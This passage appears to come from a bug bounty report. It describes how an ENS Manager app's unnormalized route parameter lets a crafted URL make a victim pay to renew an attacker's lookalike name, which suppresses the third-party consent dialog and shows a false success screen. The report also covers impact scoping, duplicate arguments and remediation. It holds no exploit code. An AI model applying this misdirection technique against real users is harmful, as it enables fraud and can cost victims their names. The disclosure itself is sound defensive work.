The negative control bounds the harmless variant. If nobody holds the twin, renew() reverts and the victim loses only gas, though their own name is still not renewed and they have no way to know that from the UI.
One caveat before someone else raises it. In this run the attacker's twin happens to land on the same calendar day as the victim's name, because the harness registers both names ninety seconds apart. That is an artefact of the harness, not of the attack. The date on screen is computed from currentExpiry, which is always the victim's expiry, and it is asserted about the name the victim believes they renewed, which did not move at all.
Part 3: the registration path, appendix, no severity claimed
The same missing normalization is present on /register/$name. The loader derives its label from parseName at routes/register/$name.tsx:24, returned at line 57, and every downstream consumer uses that same raw value. Part 3 of the script registers fo_o<suffix> and ab--cd<suffix> on the fork. Both are accepted by both Manager validators, both register, and neither resolves through a conformant client, while the plain<suffix> control registers and resolves normally.
I am not claiming an impact for this. There is no attacker here, since the user types a label and receives exactly the label they were shown. It maps to no entry on the impacts list. It is in the script because it is the same one-line defect and costs nothing to demonstrate, and because the pure-ASCII cases are useful evidence about the shape of the root cause. It should not carry any part of this report's severity.
Impact
What I claim, and what I do not.
Direct theft of user funds: no. ETHRegistrar.renew pulls the rent from _msgSender(), as the transaction-manager comment at registration.actors.ts:1006-1010 says, and the balance delta in the run above matches the quoted price exactly. The money goes to the registrar at the correct price, not to the attacker. What the attacker receives is an in-kind benefit, a year of registration on a name they own, not the victim's money. Claiming theft here would be wrong and I would expect it to be caught.
Hijacking or bricking an ENS name during a Manager flow: no. That entry's flow list is verbatim "registration, v1 to v2 migration, or transfer". Renewal is not enumerated, and the victim's name is neither reassigned nor rendered inaccessible by this transaction. It is simply not renewed.
Malicious interactions with an already-connected wallet: a triager may read it that way, and I will not argue the point. Its first listed example, "Modifying transaction arguments or parameters", describes the mechanism exactly, since the label argument the connected wallet submits is chosen by whoever wrote the URL rather than by the user who read it. I rest the claim on the display entry instead, because that entry describes what the user sees before approving, and that is the part I measured. I am not asking for the two to be counted twice.
Causing the application to display an incorrect name or transaction detail so that a user submits a transaction to an unintended recipient: this is the claim. The transaction detail the user approves, meaning which name is being renewed, is wrong on screen before the signature at PricingSummaryCard.tsx:42 and wrong again after it at RenewalDetails.tsx:50 and 105-108.
The demonstrated loss is the renewal fee, 8.000021 USDC in the run above, plus a name the user believes is renewed and is not.
The realistic attacker motive is the second part rather than the first, and I want to be clear that this part is reasoned rather than demonstrated. A victim who sees "Renewal Complete!" and an expiry a year out has no reason to renew again. A name that is not renewed eventually enters grace and then release, at which point anyone, including the attacker, can register the real name. I did not run a fork forward through expiry, grace and re-registration, and I am not claiming loss of the name as a demonstrated impact. I mention it because it explains why an attacker would pay for a twin that is worth nothing on its own.
Why this is not the existing name-validator known issue
The known-issue entry a triager will reach for is the one describing lenient name validators, and the program's rule is harsh: "Reports that describe the same root cause as an entry below will be treated as duplicates, even if the report describes a different exploitation path or entry point." So I have to argue root cause, not path. Two facts do that work.
First, the entry affirmatively disclaims this consequence. Its own text, verbatim:
Our name validators accept inputs that ENS normalization later rejects or transforms, including homoglyphs, bidirectional-control and other control characters, and a single leading or trailing dot. The practical impact is homograph-style display confusion in our UI rather than incorrect resolution.
Severity Medium, status "open, fix ready (Manager and Explorer)". What is demonstrated above is not display confusion. It is a paid, signed, on-chain write executed against a different node than the one the application resolved, gated and displayed, followed by a success screen affirming a renewal that did not occur. The entry names the opposite outcome as the reason for its rating. The program's carve-out is explicit about this situation, since "new consequences of a listed root cause that materially change its severity" are in scope. Even on the least generous reading, where the root-cause sentence is shared, that is what this is: a Medium entry that says the consequence is cosmetic, and a demonstration that the consequence is a misdirected payment plus a false confirmation.
Second, the consent gate the project shipped proves it already considers this distinction consequential. ThirdPartyRenewalDialog exists for one purpose, to tell a user they will not gain ownership of the name before they pay to extend someone else's registration. A display-confusion defect does not suppress that dialog. This one does, structurally, because the gate keys on isOwner and isOwner comes from the normalizing read while the money follows the raw label. The project built the guard. The divergence removes it silently. That is not the same defect as a validator letting a confusable character through into a rendered string.
Supporting this, the divergence does not need a deceptive character at all. 17 of the 51 accepted-and-divergent inputs measured in part 1 are neither homoglyphs, nor bidirectional-control or other control characters, nor a leading or trailing dot. Six are plain ASCII (fo_o, ab--cd, xn--a, 12--34, a_b_c, ab--) and eleven are fullwidth, circled, mathematical-bold, ligature or long-s characters that look nothing like the ASCII letters normalization maps them onto. A validator fix scoped to that entry's own enumeration does not close those.
One honest qualification, so the argument is read correctly. In the sibling raw-parameter cases elsewhere in the app, the divergence fires on a bare capital letter, since with this repository's pinned viem normalize('Victim.eth') equals victim.eth while namehash('Victim.eth') does not equal namehash('victim.eth'). That case does not apply to this report, because parseName lowercases at name-parser.ts:46.
Two tracker entries sit closer than the rest and neither covers this. One concerns the same dialog firing when it should not, where renewing your own name in grace period shows a modal implying you are extending a name owned by someone else. This is its mirror image: the modal staying silent when the name really does belong to someone else, and silent because of which name was read rather than because of grace. The other concerns a renewal that extends the base-registrar expiry but not the NameWrapper expiry on a wrapped V1 name, which is one name with two expiry records out of step. Here there are two different names, and the v2 registrar behaves exactly as specified for the label it was handed.
I also checked this against the renewal-blocked-after-registration QA item, which is unrelated.
What I demonstrated and what I did not
The consent-gate suppression is executed at the predicate and code-traced at the input. shouldShowThirdPartyRenewalWarning(true) === false is executed. That isOwner is true on the twin's page follows from profileOwner.ts:25 and ProfileView.tsx:99-152. I did not drive a browser to observe the missing dialog.
Both screens are reconstructed rather than screenshotted. The script calls the app's own getDurationExpiryDateForDisplay with the same two inputs RenewalDetails.tsx:23-32 gives it, and formats with the same date-fns call at line 108. The banner strings are quoted from RenewalCompletionBanner.tsx:13 and :16. The pre-signature pricing line is the same computation, since PricingSummaryCard.tsx:17-22 calls that same function with the same currentExpiry, so the date I show for it is the date that screen would show. I did not render either component in a browser.
The name-lapse escalation is reasoned from the display, not demonstrated, as described under Impact.
Everything ran against a local anvil fork of Sepolia. No deployed ENS asset was contacted.
Remediation
- Normalize the route parameter in the
/renew/$nameloader before anything else, and fail closed on throw. Wherenormalize(param)differs fromparam, redirect to the canonical path so the URL, the displayed name, the consent gate and the calldata all agree on one node. - Derive the renewal label from the same normalized value the expiry read uses,
normalizeEth2LdName(name).label, instead ofparseName's raw label, sorenew/$name.tsx:60-63can no longer return a label and an expiry belonging to different names. - Replace
parseName'strim().toLowerCase()with ENSIP-15normalize()and delete the ASCII blocklists atname-parser.ts:11andnameUtils.ts:132. Normalization subsumes them. - Add a write-path regression assertion:
labelhash(labelSentOnChain) === labelhash(normalize(userInput)). The 52-case corpus in part 1 of the script works directly as a test-vector set. - Until the first item lands, the consent gate is unreliable by construction.
shouldShowThirdPartyRenewalWarningshould key on ownership of the label actually being renewed, not on ownership of its normalized form.
apps/portal/src/utils/token/isNormalized.ts:39-57, the Explorer's isValidEnsName, is a working implementation of the check the Manager is missing, in the same monorepo. It rejected all 51 divergent inputs in part 1.
Adjacent prior art, disclosed
There is an open issue and an unmerged pull request in @ensdomains/ensjs about getAvailable hashing the raw label instead of the normalized one. I disclose it because a reviewer will find it, and because it corroborates rather than disqualifies.
@ensdomains/ensjs is an unmodified third-party dependency of this monorepo, and the program places unmodified third-party dependencies out of scope. The root cause reported here is in apps/manager. That fix also touches only the availability read, and the label reaching renew() never passes through getAvailable, so merging it would not change the renewal path at all. That issue is specifically about emoji and variation selectors, and the ASCII and compat-mapping cases above are unrelated to it. The pinned dependency in this repository predates the fix in any case.
Together with a merged ensjs change enforcing normalization in getName, and with the production ENS app normalizing the name at the edge in its Cloudflare middleware, these show the organization already treats missing ENSIP-15 normalization as a defect to fix rather than as intended behaviour.
The target repository has issues disabled and no relevant pull requests or commits. The upstream monorepo is private. I found no public disclosure of this.
References
ENSIP-15, the normalization standard: https://docs.ens.domains/ensip/15/
ENS documentation on name processing, which states the rule this violates directly: "You MUST normalize a name before you DNS-encode it! If you don't, then when you pass those DNS-encoded bytes into a contract method, incorrect namehashes/labelhashes may be derived." https://docs.ens.domains/resolution/names/
The ENS blog on normalization, which is equally direct. If a name cannot be normalized, an integration should reject it rather than hash or resolve the raw input. https://ens.domains/blog/post/how-ens-normalization-works